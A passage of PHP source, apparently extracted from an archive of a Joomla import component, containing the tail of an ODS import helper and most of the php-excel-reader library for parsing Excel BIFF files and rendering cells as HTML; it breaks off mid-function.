JFolder::create($this->_unpackpath.'/ods'); // Delete the destination file if it already exists if (JFile::exists($unpackfile)) JFile::delete($unpackfile); if (JFile::exists($importfile)) JFile::delete($importfile); // Now copy the file to the folder JFile::copy($this->filename, $unpackfile); // Extract the files in the folder if (!JArchive::extract($unpackfile, $this->_unpackpath.'/ods')) { $csvilog->AddStats('incorrect', JText::_('COM_CSVI_CANNOT_UNPACK_ODS_FILE')); return false; } // File is always called content.xml else $this->filename = $importfile; // Read the data to process if (!$this->data->read($this->filename)) return false; // Set the unpacked to true as we have unpacked the file $this->_unpacked = true; } // All good return true return true; } /** * Sets the file pointer back to beginning * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 3.0 */ public function rewind() { // Set the line pointer to 1 as that is the first entry in the data array $this->setFilePos(1); } } ?> PK@y>\AA9components/com_csvi/helpers/file/import/excel_reader2.phpnuW+A * Maintained at http://code.google.com/p/php-excel-reader/ * * Format parsing and MUCH more contributed by: * Matt Roxburgh < http://www.roxburgh.me.uk > * * DOCUMENTATION * ============= * http://code.google.com/p/php-excel-reader/wiki/Documentation * * CHANGE LOG * ========== * http://code.google.com/p/php-excel-reader/wiki/ChangeHistory * * DISCUSSION/SUPPORT * ================== * http://groups.google.com/group/php-excel-reader-discuss/topics * * -------------------------------------------------------------------------- * * Originally developed by Vadim Tkachenko under the name PHPExcelReader. * (http://sourceforge.net/projects/phpexcelreader) * Based on the Java version by Andy Khan (http://www.andykhan.com). Now * maintained by David Sanders. Reads only Biff 7 and Biff 8 formats. * * PHP versions 4 and 5 * * LICENSE: This source file is subject to version 3.0 of the PHP license * that is available through the world-wide-web at the following URI: * http://www.php.net/license/3_0.txt. If you did not receive a copy of * the PHP License and are unable to obtain it through the web, please * send a note to license@php.net so we can mail you a copy immediately. * * @category Spreadsheet * @package Spreadsheet_Excel_Reader * @author Vadim Tkachenko * @license http://www.php.net/license/3_0.txt PHP License 3.0 * @version CVS: $Id: excel_reader2.php 1456 2010-12-05 11:31:17Z RolandD $ * @link http://pear.php.net/package/Spreadsheet_Excel_Reader * @see OLE, Spreadsheet_Excel_Writer * -------------------------------------------------------------------------- */ define('NUM_BIG_BLOCK_DEPOT_BLOCKS_POS', 0x2c); define('SMALL_BLOCK_DEPOT_BLOCK_POS', 0x3c); define('ROOT_START_BLOCK_POS', 0x30); define('BIG_BLOCK_SIZE', 0x200); define('SMALL_BLOCK_SIZE', 0x40); define('EXTENSION_BLOCK_POS', 0x44); define('NUM_EXTENSION_BLOCK_POS', 0x48); define('PROPERTY_STORAGE_BLOCK_SIZE', 0x80); define('BIG_BLOCK_DEPOT_BLOCKS_POS', 0x4c); define('SMALL_BLOCK_THRESHOLD', 0x1000); // property storage offsets define('SIZE_OF_NAME_POS', 0x40); define('TYPE_POS', 0x42); define('START_BLOCK_POS', 0x74); define('SIZE_POS', 0x78); define('IDENTIFIER_OLE', pack("CCCCCCCC",0xd0,0xcf,0x11,0xe0,0xa1,0xb1,0x1a,0xe1)); function GetInt4d($data, $pos) { $value = ord($data[$pos]) | (ord($data[$pos+1]) << 8) | (ord($data[$pos+2]) << 16) | (ord($data[$pos+3]) << 24); if ($value>=4294967294) { $value=-2; } return $value; } // http://uk.php.net/manual/en/function.getdate.php function gmgetdate($ts = null){ $k = array('seconds','minutes','hours','mday','wday','mon','year','yday','weekday','month',0); return(array_combine($k,explode(":",gmdate('s:i:G:j:w:n:Y:z:l:F:U',is_null($ts)?time():$ts)))); } function v($data,$pos) { return ord($data[$pos]) | ord($data[$pos+1])<<8; } class OLERead { var $data = ''; function OLERead(){ } function read($sFileName){ // check if file exist and is readable (Darko Miljanovic) if(!is_readable($sFileName)) { $this->error = 1; return false; } $this->data = @file_get_contents($sFileName); if (!$this->data) { $this->error = 1; return false; } if (substr($this->data, 0, 8) != IDENTIFIER_OLE) { $this->error = 1; return false; } $this->numBigBlockDepotBlocks = GetInt4d($this->data, NUM_BIG_BLOCK_DEPOT_BLOCKS_POS); $this->sbdStartBlock = GetInt4d($this->data, SMALL_BLOCK_DEPOT_BLOCK_POS); $this->rootStartBlock = GetInt4d($this->data, ROOT_START_BLOCK_POS); $this->extensionBlock = GetInt4d($this->data, EXTENSION_BLOCK_POS); $this->numExtensionBlocks = GetInt4d($this->data, NUM_EXTENSION_BLOCK_POS); $bigBlockDepotBlocks = array(); $pos = BIG_BLOCK_DEPOT_BLOCKS_POS; $bbdBlocks = $this->numBigBlockDepotBlocks; if ($this->numExtensionBlocks != 0) { $bbdBlocks = (BIG_BLOCK_SIZE - BIG_BLOCK_DEPOT_BLOCKS_POS)/4; } for ($i = 0; $i < $bbdBlocks; $i++) { $bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos); $pos += 4; } for ($j = 0; $j < $this->numExtensionBlocks; $j++) { $pos = ($this->extensionBlock + 1)* BIG_BLOCK_SIZE; $blocksToRead = min($this->numBigBlockDepotBlocks - $bbdBlocks, BIG_BLOCK_SIZE / 4 - 1); for ($i = $bbdBlocks; $i < $bbdBlocks + $blocksToRead; $i++) { $bigBlockDepotBlocks[$i] = GetInt4d($this->data, $pos); $pos += 4; } $bbdBlocks += $blocksToRead; if ($bbdBlocks < $this->numBigBlockDepotBlocks) { $this->extensionBlock = GetInt4d($this->data, $pos); } } // readBigBlockDepot $pos = 0; $index = 0; $this->bigBlockChain = array(); for ($i = 0; $i < $this->numBigBlockDepotBlocks; $i++) { $pos = ($bigBlockDepotBlocks[$i] + 1)* BIG_BLOCK_SIZE; //echo "pos = $pos"; for ($j = 0 ; $j < BIG_BLOCK_SIZE / 4; $j++) { $this->bigBlockChain[$index] = GetInt4d($this->data, $pos); $pos += 4 ; $index++; } } // readSmallBlockDepot(); $pos = 0; $index = 0; $sbdBlock = $this->sbdStartBlock; $this->smallBlockChain = array(); while ($sbdBlock != -2) { $pos = ($sbdBlock + 1)* BIG_BLOCK_SIZE; for ($j = 0; $j < BIG_BLOCK_SIZE / 4; $j++) { $this->smallBlockChain[$index] = GetInt4d($this->data, $pos); $pos += 4; $index++; } $sbdBlock = $this->bigBlockChain[$sbdBlock]; } // readData(rootStartBlock) $block = $this->rootStartBlock; $pos = 0; $this->entry = $this->__readData($block); $this->__readPropertySets(); } function __readData($bl) { $block = $bl; $pos = 0; $data = ''; while ($block != -2) { $pos = ($block + 1)* BIG_BLOCK_SIZE; $data = $data.substr($this->data, $pos, BIG_BLOCK_SIZE); $block = $this->bigBlockChain[$block]; } return $data; } function __readPropertySets(){ $offset = 0; while ($offset < strlen($this->entry)) { $d = substr($this->entry, $offset, PROPERTY_STORAGE_BLOCK_SIZE); $nameSize = ord($d[SIZE_OF_NAME_POS]) | (ord($d[SIZE_OF_NAME_POS+1]) << 8); $type = ord($d[TYPE_POS]); $startBlock = GetInt4d($d, START_BLOCK_POS); $size = GetInt4d($d, SIZE_POS); $name = ''; for ($i = 0; $i < $nameSize ; $i++) { $name .= $d[$i]; } $name = str_replace("\x00", "", $name); $this->props[] = array ( 'name' => $name, 'type' => $type, 'startBlock' => $startBlock, 'size' => $size); if ((strtolower($name) == "workbook") || ( strtolower($name) == "book")) { $this->wrkbook = count($this->props) - 1; } if ($name == "Root Entry") { $this->rootentry = count($this->props) - 1; } $offset += PROPERTY_STORAGE_BLOCK_SIZE; } } function getWorkBook(){ if ($this->props[$this->wrkbook]['size'] < SMALL_BLOCK_THRESHOLD){ $rootdata = $this->__readData($this->props[$this->rootentry]['startBlock']); $streamData = ''; $block = $this->props[$this->wrkbook]['startBlock']; $pos = 0; while ($block != -2) { $pos = $block* SMALL_BLOCK_SIZE; $streamData .= substr($rootdata, $pos, SMALL_BLOCK_SIZE); $block = $this->smallBlockChain[$block]; } return $streamData; }else{ $numBlocks = $this->props[$this->wrkbook]['size'] / BIG_BLOCK_SIZE; if ($this->props[$this->wrkbook]['size'] % BIG_BLOCK_SIZE != 0) { $numBlocks++; } if ($numBlocks == 0) return ''; $streamData = ''; $block = $this->props[$this->wrkbook]['startBlock']; $pos = 0; while ($block != -2) { $pos = ($block + 1)* BIG_BLOCK_SIZE; $streamData .= substr($this->data, $pos, BIG_BLOCK_SIZE); $block = $this->bigBlockChain[$block]; } return $streamData; } } } define('SPREADSHEET_EXCEL_READER_BIFF8', 0x600); define('SPREADSHEET_EXCEL_READER_BIFF7', 0x500); define('SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS', 0x5); define('SPREADSHEET_EXCEL_READER_WORKSHEET', 0x10); define('SPREADSHEET_EXCEL_READER_TYPE_BOF', 0x809); define('SPREADSHEET_EXCEL_READER_TYPE_EOF', 0x0a); define('SPREADSHEET_EXCEL_READER_TYPE_BOUNDSHEET', 0x85); define('SPREADSHEET_EXCEL_READER_TYPE_DIMENSION', 0x200); define('SPREADSHEET_EXCEL_READER_TYPE_ROW', 0x208); define('SPREADSHEET_EXCEL_READER_TYPE_DBCELL', 0xd7); define('SPREADSHEET_EXCEL_READER_TYPE_FILEPASS', 0x2f); define('SPREADSHEET_EXCEL_READER_TYPE_NOTE', 0x1c); define('SPREADSHEET_EXCEL_READER_TYPE_TXO', 0x1b6); define('SPREADSHEET_EXCEL_READER_TYPE_RK', 0x7e); define('SPREADSHEET_EXCEL_READER_TYPE_RK2', 0x27e); define('SPREADSHEET_EXCEL_READER_TYPE_MULRK', 0xbd); define('SPREADSHEET_EXCEL_READER_TYPE_MULBLANK', 0xbe); define('SPREADSHEET_EXCEL_READER_TYPE_INDEX', 0x20b); define('SPREADSHEET_EXCEL_READER_TYPE_SST', 0xfc); define('SPREADSHEET_EXCEL_READER_TYPE_EXTSST', 0xff); define('SPREADSHEET_EXCEL_READER_TYPE_CONTINUE', 0x3c); define('SPREADSHEET_EXCEL_READER_TYPE_LABEL', 0x204); define('SPREADSHEET_EXCEL_READER_TYPE_LABELSST', 0xfd); define('SPREADSHEET_EXCEL_READER_TYPE_NUMBER', 0x203); define('SPREADSHEET_EXCEL_READER_TYPE_NAME', 0x18); define('SPREADSHEET_EXCEL_READER_TYPE_ARRAY', 0x221); define('SPREADSHEET_EXCEL_READER_TYPE_STRING', 0x207); define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA', 0x406); define('SPREADSHEET_EXCEL_READER_TYPE_FORMULA2', 0x6); define('SPREADSHEET_EXCEL_READER_TYPE_FORMAT', 0x41e); define('SPREADSHEET_EXCEL_READER_TYPE_XF', 0xe0); define('SPREADSHEET_EXCEL_READER_TYPE_BOOLERR', 0x205); define('SPREADSHEET_EXCEL_READER_TYPE_FONT', 0x0031); define('SPREADSHEET_EXCEL_READER_TYPE_PALETTE', 0x0092); define('SPREADSHEET_EXCEL_READER_TYPE_UNKNOWN', 0xffff); define('SPREADSHEET_EXCEL_READER_TYPE_NINETEENFOUR', 0x22); define('SPREADSHEET_EXCEL_READER_TYPE_MERGEDCELLS', 0xE5); define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS' , 25569); define('SPREADSHEET_EXCEL_READER_UTCOFFSETDAYS1904', 24107); define('SPREADSHEET_EXCEL_READER_MSINADAY', 86400); define('SPREADSHEET_EXCEL_READER_TYPE_HYPER', 0x01b8); define('SPREADSHEET_EXCEL_READER_TYPE_COLINFO', 0x7d); define('SPREADSHEET_EXCEL_READER_TYPE_DEFCOLWIDTH', 0x55); define('SPREADSHEET_EXCEL_READER_TYPE_STANDARDWIDTH', 0x99); define('SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT', "%s"); /* * Main Class */ class Spreadsheet_Excel_Reader { // MK: Added to make data retrieval easier var $colnames = array(); var $colindexes = array(); var $standardColWidth = 0; var $defaultColWidth = 0; function myHex($d) { if ($d < 16) return "0" . dechex($d); return dechex($d); } function dumpHexData($data, $pos, $length) { $info = ""; for ($i = 0; $i <= $length; $i++) { $info .= ($i==0?"":" ") . $this->myHex(ord($data[$pos + $i])) . (ord($data[$pos + $i])>31? "[" . $data[$pos + $i] . "]":''); } return $info; } function getCol($col) { if (is_string($col)) { $col = strtolower($col); if (array_key_exists($col,$this->colnames)) { $col = $this->colnames[$col]; } } return $col; } // PUBLIC API FUNCTIONS // -------------------- function val($row,$col,$sheet=0) { $col = $this->getCol($col); if (array_key_exists($row,$this->sheets[$sheet]['cells']) && array_key_exists($col,$this->sheets[$sheet]['cells'][$row])) { return $this->sheets[$sheet]['cells'][$row][$col]; } return ""; } function value($row,$col,$sheet=0) { return $this->val($row,$col,$sheet); } function info($row,$col,$type='',$sheet=0) { $col = $this->getCol($col); if (array_key_exists('cellsInfo',$this->sheets[$sheet]) && array_key_exists($row,$this->sheets[$sheet]['cellsInfo']) && array_key_exists($col,$this->sheets[$sheet]['cellsInfo'][$row]) && array_key_exists($type,$this->sheets[$sheet]['cellsInfo'][$row][$col])) { return $this->sheets[$sheet]['cellsInfo'][$row][$col][$type]; } return ""; } function type($row,$col,$sheet=0) { return $this->info($row,$col,'type',$sheet); } function raw($row,$col,$sheet=0) { return $this->info($row,$col,'raw',$sheet); } function rowspan($row,$col,$sheet=0) { $val = $this->info($row,$col,'rowspan',$sheet); if ($val=="") { return 1; } return $val; } function colspan($row,$col,$sheet=0) { $val = $this->info($row,$col,'colspan',$sheet); if ($val=="") { return 1; } return $val; } function hyperlink($row,$col,$sheet=0) { $link = $this->sheets[$sheet]['cellsInfo'][$row][$col]['hyperlink']; if ($link) { return $link['link']; } return ''; } function rowcount($sheet=0) { return $this->sheets[$sheet]['numRows']; } function colcount($sheet=0) { return $this->sheets[$sheet]['numCols']; } function colwidth($col,$sheet=0) { // Col width is actually the width of the number 0. So we have to estimate and come close return $this->colInfo[$sheet][$col]['width']/9142*200; } function colhidden($col,$sheet=0) { return !!$this->colInfo[$sheet][$col]['hidden']; } function rowheight($row,$sheet=0) { return $this->rowInfo[$sheet][$row]['height']; } function rowhidden($row,$sheet=0) { return !!$this->rowInfo[$sheet][$row]['hidden']; } // GET THE CSS FOR FORMATTING // ========================== function style($row,$col,$sheet=0,$properties='') { $css = ""; $font=$this->font($row,$col,$sheet); if ($font!="") { $css .= "font-family:$font;"; } $align=$this->align($row,$col,$sheet); if ($align!="") { $css .= "text-align:$align;"; } $height=$this->height($row,$col,$sheet); if ($height!="") { $css .= "font-size:$height"."px;"; } $bgcolor=$this->bgColor($row,$col,$sheet); if ($bgcolor!="") { $bgcolor = $this->colors[$bgcolor]; $css .= "background-color:$bgcolor;"; } $color=$this->color($row,$col,$sheet); if ($color!="") { $css .= "color:$color;"; } $bold=$this->bold($row,$col,$sheet); if ($bold) { $css .= "font-weight:bold;"; } $italic=$this->italic($row,$col,$sheet); if ($italic) { $css .= "font-style:italic;"; } $underline=$this->underline($row,$col,$sheet); if ($underline) { $css .= "text-decoration:underline;"; } // Borders $bLeft = $this->borderLeft($row,$col,$sheet); $bRight = $this->borderRight($row,$col,$sheet); $bTop = $this->borderTop($row,$col,$sheet); $bBottom = $this->borderBottom($row,$col,$sheet); $bLeftCol = $this->borderLeftColor($row,$col,$sheet); $bRightCol = $this->borderRightColor($row,$col,$sheet); $bTopCol = $this->borderTopColor($row,$col,$sheet); $bBottomCol = $this->borderBottomColor($row,$col,$sheet); // Try to output the minimal required style if ($bLeft!="" && $bLeft==$bRight && $bRight==$bTop && $bTop==$bBottom) { $css .= "border:" . $this->lineStylesCss[$bLeft] .";"; } else { if ($bLeft!="") { $css .= "border-left:" . $this->lineStylesCss[$bLeft] .";"; } if ($bRight!="") { $css .= "border-right:" . $this->lineStylesCss[$bRight] .";"; } if ($bTop!="") { $css .= "border-top:" . $this->lineStylesCss[$bTop] .";"; } if ($bBottom!="") { $css .= "border-bottom:" . $this->lineStylesCss[$bBottom] .";"; } } // Only output border colors if there is an actual border specified if ($bLeft!="" && $bLeftCol!="") { $css .= "border-left-color:" . $bLeftCol .";"; } if ($bRight!="" && $bRightCol!="") { $css .= "border-right-color:" . $bRightCol .";"; } if ($bTop!="" && $bTopCol!="") { $css .= "border-top-color:" . $bTopCol . ";"; } if ($bBottom!="" && $bBottomCol!="") { $css .= "border-bottom-color:" . $bBottomCol .";"; } return $css; } // FORMAT PROPERTIES // ================= function format($row,$col,$sheet=0) { return $this->info($row,$col,'format',$sheet); } function formatIndex($row,$col,$sheet=0) { return $this->info($row,$col,'formatIndex',$sheet); } function formatColor($row,$col,$sheet=0) { return $this->info($row,$col,'formatColor',$sheet); } // CELL (XF) PROPERTIES // ==================== function xfRecord($row,$col,$sheet=0) { $xfIndex = $this->info($row,$col,'xfIndex',$sheet); if ($xfIndex!="") { return $this->xfRecords[$xfIndex]; } return null; } function xfProperty($row,$col,$sheet,$prop) { $xfRecord = $this->xfRecord($row,$col,$sheet); if ($xfRecord!=null) { return $xfRecord[$prop]; } return ""; } function align($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'align'); } function bgColor($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'bgColor'); } function borderLeft($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderLeft'); } function borderRight($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderRight'); } function borderTop($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderTop'); } function borderBottom($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'borderBottom'); } function borderLeftColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderLeftColor')]; } function borderRightColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderRightColor')]; } function borderTopColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderTopColor')]; } function borderBottomColor($row,$col,$sheet=0) { return $this->colors[$this->xfProperty($row,$col,$sheet,'borderBottomColor')]; } // FONT PROPERTIES // =============== function fontRecord($row,$col,$sheet=0) { $xfRecord = $this->xfRecord($row,$col,$sheet); if ($xfRecord!=null) { $font = $xfRecord['fontIndex']; if ($font!=null) { return $this->fontRecords[$font]; } } return null; } function fontProperty($row,$col,$sheet=0,$prop) { $font = $this->fontRecord($row,$col,$sheet); if ($font!=null) { return $font[$prop]; } return false; } function fontIndex($row,$col,$sheet=0) { return $this->xfProperty($row,$col,$sheet,'fontIndex'); } function color($row,$col,$sheet=0) { $formatColor = $this->formatColor($row,$col,$sheet); if ($formatColor!="") { return $formatColor; } $ci = $this->fontProperty($row,$col,$sheet,'color'); return $this->rawColor($ci); } function rawColor($ci) { if (($ci <> 0x7FFF) && ($ci <> '')) { return $this->colors[$ci]; } return ""; } function bold($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'bold'); } function italic($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'italic'); } function underline($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'under'); } function height($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'height'); } function font($row,$col,$sheet=0) { return $this->fontProperty($row,$col,$sheet,'font'); } // DUMP AN HTML TABLE OF THE ENTIRE XLS DATA // ========================================= function dump($row_numbers=false,$col_letters=false,$sheet=0,$table_class='excel') { $out = ""; if ($col_letters) { $out .= "\n\t"; if ($row_numbers) { $out .= "\n\t\t"; } for($i=1;$i<=$this->colcount($sheet);$i++) { $style = "width:" . ($this->colwidth($i,$sheet)*1) . "px;"; if ($this->colhidden($i,$sheet)) { $style .= "display:none;"; } $out .= "\n\t\t"; } $out .= "\n"; } $out .= "\n"; for($row=1;$row<=$this->rowcount($sheet);$row++) { $rowheight = $this->rowheight($row,$sheet); $style = "height:" . ($rowheight*(4/3)) . "px;"; if ($this->rowhidden($row,$sheet)) { $style .= "display:none;"; } $out .= "\n\t"; if ($row_numbers) { $out .= "\n\t\t"; } for($col=1;$col<=$this->colcount($sheet);$col++) { // Account for Rowspans/Colspans $rowspan = $this->rowspan($row,$col,$sheet); $colspan = $this->colspan($row,$col,$sheet); for($i=0;$i<$rowspan;$i++) { for($j=0;$j<$colspan;$j++) { if ($i>0 || $j>0) { $this->sheets[$sheet]['cellsInfo'][$row+$i][$col+$j]['dontprint']=1; } } } if(!$this->sheets[$sheet]['cellsInfo'][$row][$col]['dontprint']) { $style = $this->style($row,$col,$sheet); if ($this->colhidden($col,$sheet)) { $style .= "display:none;"; } $out .= "\n\t\t"; } } $out .= "\n"; } $out .= "
       " . strtoupper($this->colindexes[$i]) . "
      $row 1?" colspan=$colspan":"") . ($rowspan > 1?" rowspan=$rowspan":"") . ">"; $val = $this->val($row,$col,$sheet); if ($val=='') { $val=" "; } else { $val = htmlentities($val); $link = $this->hyperlink($row,$col,$sheet); if ($link!='') { $val = "$val"; } } $out .= "".nl2br($val).""; $out .= "
      "; return $out; } // -------------- // END PUBLIC API var $boundsheets = array(); var $formatRecords = array(); var $fontRecords = array(); var $xfRecords = array(); var $colInfo = array(); var $rowInfo = array(); var $sst = array(); var $sheets = array(); var $data; var $_ole; var $_defaultEncoding = "UTF-8"; var $_defaultFormat = SPREADSHEET_EXCEL_READER_DEF_NUM_FORMAT; var $_columnsFormat = array(); var $_rowoffset = 1; var $_coloffset = 1; /** * List of default date formats used by Excel */ var $dateFormats = array ( 0xe => "m/d/Y", 0xf => "M-d-Y", 0x10 => "d-M", 0x11 => "M-Y", 0x12 => "h:i a", 0x13 => "h:i:s a", 0x14 => "H:i", 0x15 => "H:i:s", 0x16 => "d/m/Y H:i", 0x2d => "i:s", 0x2e => "H:i:s", 0x2f => "i:s.S" ); /** * Default number formats used by Excel */ var $numberFormats = array( 0x1 => "0", 0x2 => "0.00", 0x3 => "#,##0", 0x4 => "#,##0.00", 0x5 => "\$#,##0;(\$#,##0)", 0x6 => "\$#,##0;[Red](\$#,##0)", 0x7 => "\$#,##0.00;(\$#,##0.00)", 0x8 => "\$#,##0.00;[Red](\$#,##0.00)", 0x9 => "0%", 0xa => "0.00%", 0xb => "0.00E+00", 0x25 => "#,##0;(#,##0)", 0x26 => "#,##0;[Red](#,##0)", 0x27 => "#,##0.00;(#,##0.00)", 0x28 => "#,##0.00;[Red](#,##0.00)", 0x29 => "#,##0;(#,##0)", // Not exactly 0x2a => "\$#,##0;(\$#,##0)", // Not exactly 0x2b => "#,##0.00;(#,##0.00)", // Not exactly 0x2c => "\$#,##0.00;(\$#,##0.00)", // Not exactly 0x30 => "##0.0E+0" ); var $colors = Array( 0x00 => "#000000", 0x01 => "#FFFFFF", 0x02 => "#FF0000", 0x03 => "#00FF00", 0x04 => "#0000FF", 0x05 => "#FFFF00", 0x06 => "#FF00FF", 0x07 => "#00FFFF", 0x08 => "#000000", 0x09 => "#FFFFFF", 0x0A => "#FF0000", 0x0B => "#00FF00", 0x0C => "#0000FF", 0x0D => "#FFFF00", 0x0E => "#FF00FF", 0x0F => "#00FFFF", 0x10 => "#800000", 0x11 => "#008000", 0x12 => "#000080", 0x13 => "#808000", 0x14 => "#800080", 0x15 => "#008080", 0x16 => "#C0C0C0", 0x17 => "#808080", 0x18 => "#9999FF", 0x19 => "#993366", 0x1A => "#FFFFCC", 0x1B => "#CCFFFF", 0x1C => "#660066", 0x1D => "#FF8080", 0x1E => "#0066CC", 0x1F => "#CCCCFF", 0x20 => "#000080", 0x21 => "#FF00FF", 0x22 => "#FFFF00", 0x23 => "#00FFFF", 0x24 => "#800080", 0x25 => "#800000", 0x26 => "#008080", 0x27 => "#0000FF", 0x28 => "#00CCFF", 0x29 => "#CCFFFF", 0x2A => "#CCFFCC", 0x2B => "#FFFF99", 0x2C => "#99CCFF", 0x2D => "#FF99CC", 0x2E => "#CC99FF", 0x2F => "#FFCC99", 0x30 => "#3366FF", 0x31 => "#33CCCC", 0x32 => "#99CC00", 0x33 => "#FFCC00", 0x34 => "#FF9900", 0x35 => "#FF6600", 0x36 => "#666699", 0x37 => "#969696", 0x38 => "#003366", 0x39 => "#339966", 0x3A => "#003300", 0x3B => "#333300", 0x3C => "#993300", 0x3D => "#993366", 0x3E => "#333399", 0x3F => "#333333", 0x40 => "#000000", 0x41 => "#FFFFFF", 0x43 => "#000000", 0x4D => "#000000", 0x4E => "#FFFFFF", 0x4F => "#000000", 0x50 => "#FFFFFF", 0x51 => "#000000", 0x7FFF => "#000000" ); var $lineStyles = array( 0x00 => "", 0x01 => "Thin", 0x02 => "Medium", 0x03 => "Dashed", 0x04 => "Dotted", 0x05 => "Thick", 0x06 => "Double", 0x07 => "Hair", 0x08 => "Medium dashed", 0x09 => "Thin dash-dotted", 0x0A => "Medium dash-dotted", 0x0B => "Thin dash-dot-dotted", 0x0C => "Medium dash-dot-dotted", 0x0D => "Slanted medium dash-dotted" ); var $lineStylesCss = array( "Thin" => "1px solid", "Medium" => "2px solid", "Dashed" => "1px dashed", "Dotted" => "1px dotted", "Thick" => "3px solid", "Double" => "double", "Hair" => "1px solid", "Medium dashed" => "2px dashed", "Thin dash-dotted" => "1px dashed", "Medium dash-dotted" => "2px dashed", "Thin dash-dot-dotted" => "1px dashed", "Medium dash-dot-dotted" => "2px dashed", "Slanted medium dash-dotte" => "2px dashed" ); function read16bitstring($data, $start) { $len = 0; while (ord($data[$start + $len]) + ord($data[$start + $len + 1]) > 0) $len++; return substr($data, $start, $len); } // ADDED by Matt Kruse for better formatting function _format_value($format,$num,$f) { // 49==TEXT format // http://code.google.com/p/php-excel-reader/issues/detail?id=7 if ( (!$f && $format=="%s") || ($f==49) || ($format=="GENERAL") ) { return array('string'=>$num, 'formatColor'=>null); } // Custom pattern can be POSITIVE;NEGATIVE;ZERO // The "text" option as 4th parameter is not handled $parts = explode(";",$format); $pattern = $parts[0]; // Negative pattern if (count($parts)>2 && $num==0) { $pattern = $parts[2]; } // Zero pattern if (count($parts)>1 && $num<0) { $pattern = $parts[1]; $num = abs($num); } $color = ""; $matches = array(); $color_regex = "/^\[(BLACK|BLUE|CYAN|GREEN|MAGENTA|RED|WHITE|YELLOW)\]/i"; if (preg_match($color_regex,$pattern,$matches)) { $color = strtolower($matches[1]); $pattern = preg_replace($color_regex,"",$pattern); } // In Excel formats, "_" is used to add spacing, which we can't do in HTML $pattern = preg_replace("/_./","",$pattern); // Some non-number characters are escaped with \, which we don't need $pattern = preg_replace("/\\\/","",$pattern); // Some non-number strings are quoted, so we'll get rid of the quotes $pattern = preg_replace("/\"/","",$pattern); // TEMPORARY - Convert # to 0 $pattern = preg_replace("/\#/","0",$pattern); // Find out if we need comma formatting $has_commas = preg_match("/,/",$pattern); if ($has_commas) { $pattern = preg_replace("/,/","",$pattern); } // Handle Percentages if (preg_match("/\d(\%)([^\%]|$)/",$pattern,$matches)) { $num = $num* 100; $pattern = preg_replace("/(\d)(\%)([^\%]|$)/","$1%$3",$pattern); } // Handle the number itself $number_regex = "/(\d+)(\.?)(\d*)/"; if (preg_match($number_regex,$pattern,$matches)) { $left = $matches[1]; $dec = $matches[2]; $right = $matches[3]; if ($has_commas) { $formatted = number_format($num,strlen($right)); } else { $sprintf_pattern = "%1.".strlen($right)."f"; $formatted = sprintf($sprintf_pattern, $num); } $pattern = preg_replace($number_regex, $formatted, $pattern); } return array( 'string'=>$pattern, 'formatColor'=>$color ); } /** * Constructor * * Some basic initialisation */ function Spreadsheet_Excel_Reader($file='',$store_extended_info=true,$outputEncoding='') { $this->_ole = new OLERead(); $this->setUTFEncoder('iconv'); if ($outputEncoding != '') { $this->setOutputEncoding($outputEncoding); } for ($i=1; $i<245; $i++) { $name = strtolower(( (($i-1)/26>=1)?chr(($i-1)/26+64):'') . chr(($i-1)%26+65)); $this->colnames[$name] = $i; $this->colindexes[$i] = $name; } $this->store_extended_info = $store_extended_info; if ($file!="") { $this->read($file); } } /** * Set the encoding method */ function setOutputEncoding($encoding) { $this->_defaultEncoding = $encoding; } /** * $encoder = 'iconv' or 'mb' * set iconv if you would like use 'iconv' for encode UTF-16LE to your encoding * set mb if you would like use 'mb_convert_encoding' for encode UTF-16LE to your encoding */ function setUTFEncoder($encoder = 'iconv') { $this->_encoderFunction = ''; if ($encoder == 'iconv') { $this->_encoderFunction = function_exists('iconv') ? 'iconv' : ''; } elseif ($encoder == 'mb') { $this->_encoderFunction = function_exists('mb_convert_encoding') ? 'mb_convert_encoding' : ''; } } function setRowColOffset($iOffset) { $this->_rowoffset = $iOffset; $this->_coloffset = $iOffset; } /** * Set the default number format */ function setDefaultFormat($sFormat) { $this->_defaultFormat = $sFormat; } /** * Force a column to use a certain format */ function setColumnFormat($column, $sFormat) { $this->_columnsFormat[$column] = $sFormat; } /** * Read the spreadsheet file using OLE, then parse */ function read($sFileName) { $res = $this->_ole->read($sFileName); // oops, something goes wrong (Darko Miljanovic) if($res === false) { // check error code if($this->_ole->error == 1) { // bad file die('The filename ' . $sFileName . ' is not readable'); } // check other error codes here (eg bad fileformat, etc...) } $this->data = $this->_ole->getWorkBook(); $this->_parse(); } /** * Parse a workbook * * @access private * @return bool */ function _parse() { $pos = 0; $data = $this->data; $code = v($data,$pos); $length = v($data,$pos+2); $version = v($data,$pos+4); $substreamType = v($data,$pos+6); $this->version = $version; if (($version != SPREADSHEET_EXCEL_READER_BIFF8) && ($version != SPREADSHEET_EXCEL_READER_BIFF7)) { return false; } if ($substreamType != SPREADSHEET_EXCEL_READER_WORKBOOKGLOBALS){ return false; } $pos += $length + 4; $code = v($data,$pos); $length = v($data,$pos+2); while ($code != SPREADSHEET_EXCEL_READER_TYPE_EOF) { switch ($code) { case SPREADSHEET_EXCEL_READER_TYPE_SST: $spos = $pos + 4; $limitpos = $spos + $length; $uniqueStrings = $this->_GetInt4d($data, $spos+4); $spos += 8; for ($i = 0; $i < $uniqueStrings; $i++) { // Read in the number of characters if ($spos == $limitpos) { $opcode = v($data,$spos); $conlength = v($data,$spos+2); if ($opcode != 0x3c) { return -1; } $spos += 4; $limitpos = $spos + $conlength; } $numChars = ord($data[$spos]) | (ord($data[$spos+1]) 